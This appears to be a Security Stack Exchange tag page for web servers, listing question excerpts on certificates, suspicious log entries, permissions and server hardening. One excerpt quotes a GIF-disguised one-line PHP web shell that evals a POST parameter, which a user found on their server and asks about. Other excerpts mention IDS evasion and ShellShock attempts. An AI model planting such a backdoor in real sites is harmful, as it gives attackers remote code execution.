A system whose primary function is to deliver web pages on request to clients.

learn more… | top users | synonyms

2
votes
3answers
1k views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
2
votes
2answers
739 views

Create a SSL certificate and sign it with a personal certificate which in turn is signed by a certificate authority [duplicate]

I have a personal certificate which is signed by a certificate authority. This certificate is unrestricted with respect to its allowed purposes. Is it possible to create a SSL server certificate on my ...
2
votes
3answers
189 views

Website Authenticity/Verification without SSL

Are there any other ways of verifying the web server you're visiting is actually the correct one? For example, if a domain name's DNS was hypothetically hijacked, and users were directed to a phishing ...
2
votes
2answers
4k views

Questionable request to /user/soapCaller.bs

My webserver logs revealed a request to /user/soapCaller.bs from 220.226.188.32, which maps to Mumbai, India. The HTTP user agent is called 'Morpheus * Scanner'. My server returned a 404 error. ...
2
votes
2answers
5k views

How to check if a website is sending out a virus?

I'm a webmaster at a company without much knowledge of IT Security. We are running 6 computers connected to a central server that also hosts our website. 3 out of 6 people in the office have gotten ...
2
votes
3answers
234 views

Would people object my website just because I use Google Analytics, +1, or FB Connect?

Are there people who will refuse to use a website just because that site sends browser information to Google Analytics? Could the +1 button be a red flag? Should I expect that there would be ...
2
votes
1answer
1k views

folder and file permission shared host advice

I have a website with a webhost company. I wrote a little php/mysql application - no file uploads, just administering data from the DB and creating pdf with TCPDF. There are folders like css and js ...
2
votes
2answers
280 views

ip-fragmentation and mod_security?

is it possible to use ip-fragmenation (for example with fragroute) to evade mod_security? the idea would be to split a sql-injection- or xss-string into little pieces so it s not recognised.
2
votes
2answers
5k views

How secure is using a blank index.html / index.php? [duplicate]

When you put a blank index.html into a given directory on a web server, web browsers will not display a file listing for that directory. But is it secure enough for other purposes other than ...
2
votes
2answers
1k views

Killing IP connections who “spam” with requests

How can I go about killing IP connections that seem to be sending a lot of requests to the same url? Let's say I have someone who requests the same url for more than 10 times in 5 seconds, I want to ...
2
votes
2answers
1k views

Some questions about penetration testing distribution Backtrack 5

I know just the basics of backtrack and I want to ask some questions about it: Can you attack an ftp server using backtrack? an email server? I have a Centos virtual private server and backtrack is ...
2
votes
2answers
2k views

AD User vs SQL User for SQL Server Authentication

My company has multiple web applications that we deploy to customer sites. Often the customer has the final say in deployment options in which often it shocks me. Many of these customers are ...
2
votes
1answer
4k views

This site uses a weak security configuration - SHA-1 signatures [duplicate]

One of our users just sent us a screenshot of them browsing our site using Chrome for OS X, version 44.0.2403.130. This came as a surprise because I thought that our certificates were up to date (via ...
2
votes
1answer
523 views

Are there any security implications in creating an SSH key for the root user?

I've written an install script on a server to quickly set up new sites in the /srv directory. It needs to do a git clone, and has to be run via sudo in order to have the permissions to do all the ...
2
votes
1answer
1k views

Worrying httpd access logs [duplicate]

so after setting up a new server with just ssh (public key only) and a webserver which just serves one index.html I left for the weekend. Logging in on Monday I see this type of thing in my httpd ...
2
votes
1answer
2k views

“ScriptResource.axd” vulnerability in Windows Server 2008

I am using Windows Server 2008, Plesk 9.5, IIS 7, SQL Server 2008, and recently I have received and email claiming this server is vulnerable, and sent me the following URL: ...
2
votes
2answers
507 views

How to protect source code that resides on virtualbox web server which starts at boot?

I installed CentOS 6 on a 3gb virtualbox disk. It hosts a web server which starts automatically when the OS boots. No user login required. When it boots, it is given an IP and the host machine can ...
2
votes
3answers
4k views

Is it possible to list folder from my web server if i have an empty index.html in the root folder?

I have a small mongoose web server installed on my machine. I have a empty index.html in the root directory. I want to be able to share link with people i know, by creating a folder that look like ...
2
votes
2answers
696 views

How can I trace Hacking attempt

First of all I dont want to track the hacker. I want to track if the system is being compromised some way. For example when a website is under attack it'll receive malicious data. I want to check ...
2
votes
4answers
578 views

Should i use SSL for local access?

I have a web service which can be accessed only from websites hosted on the same server (i use 127.0.0.1 ip). Should i use SSL for the communications between the sites and the service, or would that ...
2
votes
2answers
48 views

How to Ensure Post Data in Services is Safe from User Tampering In WebGL Games?

We are currently making WebGL games for an online portal that then rewards users points they get from In Game Score. The Score is sent to the WebServer in the form of POST service, Recently we have ...
2
votes
2answers
110 views

Is using a sqlite with random name file secure?

As you know, SQLite have no security mechanism. My question is if i change the database file into some random name like '22OYIz23tmpyesTcMVFmw1tquFxzCIQD.sqlite' can someone exploit my database and ...
2
votes
2answers
233 views

Why are web servers ubiquitously configured by blacklisting inaccessible files instead of whitelisting the accessible ones?

Take a random PHP site. It is essentially guaranteed that its web server is configured as follows: serve any file from the document root, except for certain files or paths that are blacklisted. ...
2
votes
1answer
797 views

How can the Google web crawler bypass portals?

This is a situation that I have encountered on a number of occasions. I will conduct a web search in Google, a link to a file (.pdf for example) will take you to that file on the server. It opens up ...
2
votes
4answers
545 views

How to prevent users from downloading information from our search engine?

We have developed a search engine (simple search, no login required) where users can search details in the database (Apache Lucene) by entering their name (et. al.), then clicking the search button. ...
2
votes
2answers
3k views

How to allow only some specific computer systems to access website? [duplicate]

I need a process to allow only certain computer systems access to the website irrespective of the network they are using. Much like a Licensing system, I can provide a private key or something ...
2
votes
2answers
741 views

Can clients execute my python CGI at will?

I have a site where the main database is interacted with via python scripts located in public_html\cgi-bin\. To run commands, various JavaScript scripts, located in \public_html\scripts\, use jQuery ...
2
votes
2answers
82 views

Database Protection : External & Internal

My company is using a weird database setup and I can't really figure what it is adding in term of security. Our Setup Outside World [Firewall] DMZ – Web Server [Firewall] External Database ...
2
votes
1answer
95 views

How do hackers get into servers? [closed]

I am a web developer. I've checked How does hacking work? and I know all of the things described in the most upvoted post. However, I can't understand how do hackers get into servers when the website ...
2
votes
3answers
192 views

Where to place PHP files for security?

A simple question, where do you place PHP files on a server? I can't seem to find any good information on this. Obviously public files should be in the document root somewhere/somehow, since they ...
2
votes
2answers
82 views

Is it possible to safely watch a specific folder with virus scan on Windows Server?

I have a website that must allow numerous file types to be uploaded, some of which could possibly be dangerous, such as a word document. There's only a single website on this server that allows this. ...
2
votes
1answer
1k views

Any security risk with raising client_max_body_size nginx?

i was wondering if there is any securitiy risk involved with raising the client_max_body_size in nginx from 1MB to 20GB?
2
votes
2answers
602 views

Web server interaction with a database server

It is common knowledge that any servers exposed to the internet needs to be placed in a DMZ. However, a web application sometimes need to get user input and updates to backend database tables etc. How ...
2
votes
2answers
223 views

How risky is having sensitive files on webroot?

I understand that having anything sensitive under webroot is not smart; someone may be able to access it via url. However, I do not have a choice with my web host (iPage) as they limit my server space ...
2
votes
1answer
279 views

Where's the virus in this web site?

I made my friend go to this web site and it immediately infected his machine with malware (AntiVirus SecurityPro). It happened just by going to the front page. It seemed the malware started up, but ...
2
votes
2answers
3k views

Is it harmful to allow http requests with very long querystrings in IIS?

I am developing a website with a search feature that could generate HTTP requests that are very long (up to 15,000) characters. However, IIS has a default limit of 2048 characters for querystrings. ...
2
votes
2answers
514 views

What are the go-to books on server security? [closed]

To learn how to keep things secured, and to do a good job at it, what books should one check out?
2
votes
2answers
691 views

I've just purchased a VPS to use for developing and managing my clients hosting packages. What necessary steps do I have to take?

The VPS is running CentOS and I have full access. I only looked around using the cPanel installation and already disabled anonymous FTP access. What other security risks are there with a default VPS ...
2
votes
1answer
172 views

Is there a tool that puts on a webserver some .html or .php files filled with popular malware like java drive-bys or other browser exploit payloads? [closed]

As mentioned in the title I'm looking for a tool that puts on a webserver some .html or .php files filled with popular malware like java drive-bys or other browser exploit payloads? Maybe there is ...
2
votes
2answers
643 views

Odd url showing up in my pubsub stream, should I be concerned?

Background: Yesterday I started working on a simple metrics dashboard. I have a VBScript on my internal network that queries a database over a VPN from our Vendor. I then do a simple HTTP post to a ...
2
votes
1answer
61 views

How to securely install web applications on untrusted hosts?

In principle, storing data securely on an untrusted server seems to be easy. Just use a strong enough client side encryption. But how to deal with web applications? For example a forum software like ...
2
votes
2answers
249 views

Did this ShellShock exploit work?

Looking through my web server logs, I noticed two different ShellShock attacks on my server, both of which generated a HTTP 200 OK response code. They look like this (IP address/date and time ...
2
votes
3answers
378 views

What is risk of having memcache in public interface?

To what extent a hacker can potentially cause harm to a server? Can you please give few examples? Recently, there was a data breach in my website and I found out this interface was public-facing and ...
2
votes
1answer
570 views

What web browsers support ECC vs DSA vs RSA for SSL/TLS?

We are updating our wildcard certificate and see that we have the option to use both RSA or DSA with Symantec (for free), while Digicert offers 3 options for wildcards ECC, DSA and RSA. Is there a ...
2
votes
2answers
75 views

Using a special user to manage web server? [closed]

I just rented a VPS, in order to run a web server. I installed LAMP utilities and everything work. I have actually only 1 user (root). This means everytime I want to connect to my server to modify ...
2
votes
1answer
101 views

wordpress server visitor log contains a script, what's the risk?

I see this in my WP statistics: Is it safe to click on the link? Under what conditions will the script be triggered?
2
votes
1answer
193 views

How do I know if root account has been compromised?

My server was hacked with some files being overwritten to generate spam links on the index page. All my previous backups contain the same modified files, making the nuking from orbit option a puke. If ...
2
votes
1answer
103 views

For PCI compliance, does every request need to be logged regardless of how it affects system performance?

Our cloud based service is currently undergoing changes with a view towards PCI compliance. It is a high throughput service, and there are concerns that enabling the right amount of logging on our ...
2
votes
1answer
145 views

Best practice in securing a web server and an offsite worker

Suppose I'm hosting a web server and a separate box offsite that crunches data. The web server interacts with the worker using the worker's API over port 2888. What would be the design of a secure ...
2
votes
1answer
497 views

What security does nginx provide between server blocks?

What security does nginx provide between server blocks? Here is an example scenario. Say I have two server blocks configured with nginx. Each serves up a web application to authenticated users. I ...